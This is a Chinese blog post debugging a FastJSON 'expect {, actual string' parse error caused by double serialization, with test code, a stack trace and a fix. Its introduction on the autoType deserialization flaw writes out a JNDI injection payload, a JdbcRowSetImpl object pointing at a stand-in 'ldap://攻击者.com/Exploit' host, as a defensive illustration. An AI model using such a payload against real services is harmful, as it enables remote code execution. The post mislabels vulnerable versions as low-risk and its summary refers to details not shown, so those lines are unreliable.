遇到的问题之“FastJSON的bug导致严格校验,引发字符串JSON转换错误 syntax error, expect {, actual string, pos 96, line 1, column 97”
1.说明
fastjson 主要Bug集中在反序列化漏洞,攻击者可利用恶意JSON字符串远程执行代码,建议升级到1.2.83以上或使用v2版本。你可以查看官方GitHub Releases获取最新版本信息。
- 核心问题在反序列化环节:fastjson解析JSON时如果遇到
@type字段,会尝试创建对应类的对象并自动调用setter方法。 - 攻击者能构造恶意JSON:比如
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击者.com/Exploit","autoCommit":true},解析时会触发JNDI lookup加载恶意类。 - 早期版本限制宽松:v1.2.68之前默认开启autoType,允许反序列化任意类,漏洞风险更高。
- 低危版本:<=1.2.43、<=1.2.47、<=1.2.48等早期版本存在多个已知高危漏洞。
- 中危版本:1.2.80及以下版本中黑白名单防御在特定条件下可被绕过。
- 相对安全版本:1.2.83修复了多个高危autotype开关绕过漏洞。
- 强制升级:优先升级到≥1.2.83或直接切换到Fastjson v2,v2版本不受此反序列化漏洞影响但需做兼容测试。
- 开启安全模式:在1.2.68及以后版本可配置
ParserConfig.getGlobalInstance().setSafeMode(true),彻底禁用autoType。 - 白名单控制:如必须用@type,可添加可接受的包前缀白名单,如
addAccept("com.trusted.package.")。 - 永不解析不可信JSON:用户输入需严格校验并过滤@type字段,不要直接解析来自外部的JSON数据。
2.案例
@Test public void testRequest() { String request = "{\"likeTemplateCode\":\"\",\"likeTemplateName\":\"\",\"authOrgId\":\"\",\"templateType\":\"\"}"; // String request = "{\"likeCacheName\":\"\",\"likeCacheUrl\":\"\"}"; Map<String, Object> stringObjectMap = parseParams(request); System.out.println("stringObjectMap = " + stringObjectMap); } private Map<String, Object> parseParams(Object object) { // 解析 JSON 为 Map【出现报错方案】 Map map = JSON.parseObject(JSON.toJSONString(object), Map.class); // 修复后方案:直接强制 // Map map = JSON.parseObject((String) object, Map.class); return map; }
会报错:字符串JSON转换错误 syntax error, expect {, actual string, pos 96, line 1, column 97
无论传入的 object 是什么类型,都会执行两步:
-
JSON.toJSONString(object):将object序列化为 JSON 字符串。 -
JSON.parseObject(..., Map.class):将上一步得到的字符串解析为Map。
关键点:当 object 本身是 String 时,JSON.toJSONString(object) 会生成一个 JSON 字符串字面量(即包含外层双引号的字符串),例如:
-
输入:
"{\"a\":\"b\"}" -
输出:
"\"{\\\"a\\\":\\\"b\\\"}\""(即一个以"开头和结尾的字符串)
然后第二步去解析这个新字符串,因为其首字符是 ",而 JSON.parseObject 期望以 { 或 [ 开头(即 JSON 对象或数组),所以 必定抛出 JSONException,与内容无关。
com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 96, line 1, column 97"{\"likeTemplateCode\":\"\",\"likeTemplateName\":\"\",\"authOrgId\":\"\",\"templateType\":\"\"}"
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:208)
at com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:74)
at com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:43)
at com.alibaba.fastjson.parser.deserializer.ContextObjectDeserializer.deserialze(ContextObjectDeserializer.java:9)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:708)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:394)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:298)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:588)
at com.yha.customer.AgentTest.parseParams(AgentTest.java:41)
at com.yha.customer.AgentTest.testRequest(AgentTest.java:34)
at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103)
at java.base/java.lang.reflect.Method.invoke(Method.java:580)
at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59)
at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56)
at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17)
at org.springframework.test.context.junit4.statements.RunBeforeTestExecutionCallbacks.evaluate(RunBeforeTestExecutionCallbacks.java:76)
at org.springframework.test.context.junit4.statements.RunAfterTestExecutionCallbacks.evaluate(RunAfterTestExecutionCallbacks.java:84)
at org.springframework.test.context.junit4.statements.RunBeforeTestMethodCallbacks.evaluate(RunBeforeTestMethodCallbacks.java:75)
at org.springframework.test.context.junit4.statements.RunAfterTestMethodCallbacks.evaluate(RunAfterTestMethodCallbacks.java:86)
at org.springframework.test.context.junit4.statements.SpringRepeat.evaluate(SpringRepeat.java:84)
at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366)
at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.runChild(SpringJUnit4ClassRunner.java:252)
at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.runChild(SpringJUnit4ClassRunner.java:97)
at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331)
at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79)
at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329)
at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66)
at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293)
at org.springframework.test.context.junit4.statements.RunBeforeTestClassCallbacks.evaluate(RunBeforeTestClassCallbacks.java:61)
at org.springframework.test.context.junit4.statements.RunAfterTestClassCallbacks.evaluate(RunAfterTestClassCallbacks.java:70)
at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306)
at org.junit.runners.ParentRunner.run(ParentRunner.java:413)
at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.run(SpringJUnit4ClassRunner.java:191)
at org.junit.runner.JUnitCore.run(JUnitCore.java:137)
at com.intellij.junit4.JUnit4IdeaTestRunner.startRunnerWithArgs(JUnit4IdeaTestRunner.java:73)
at com.intellij.rt.junit.IdeaTestRunner$Repeater$1.execute(IdeaTestRunner.java:38)
at com.intellij.rt.execution.junit.TestsRepeater.repeat(TestsRepeater.java:11)
at com.intellij.rt.junit.IdeaTestRunner$Repeater.startRunnerWithArgs(IdeaTestRunner.java:35)
at com.intellij.rt.junit.JUnitStarter.prepareStreamsAndStart(JUnitStarter.java:244)
at com.intellij.rt.junit.JUnitStarter.main(JUnitStarter.java:65)
3.修复方案
正确的修复
无论如何,您应直接解析传入的字符串(如果它是 JSON 字符串),而不是二次序列化:
private Map<String, Object> parseParams(Object object) { if (object instanceof String) { return JSON.parseObject((String) object, Map.class); } else { return JSON.parseObject(JSON.toJSONString(object), Map.class); } }
这样,无论传入的是 String 还是其他类型,都能正确处理,且不会产生多余的外层引号。
4. 总结
-
两个字符串在逻辑上都会触发相同的错误,第二个“没问题”很可能是环境或类型差异导致。
-
通过增强日志,您可以快速定位真实原因。
-
根本解决方法是 避免对字符串进行二次序列化,根据类型分支处理。
如果修改后仍有问题,请提供实际运行时 parseParams 收到的 object 类型和 JSON.toJSONString 的输出,以便进一步排查。希望这能解开您的疑惑!

浙公网安备 33010602011771号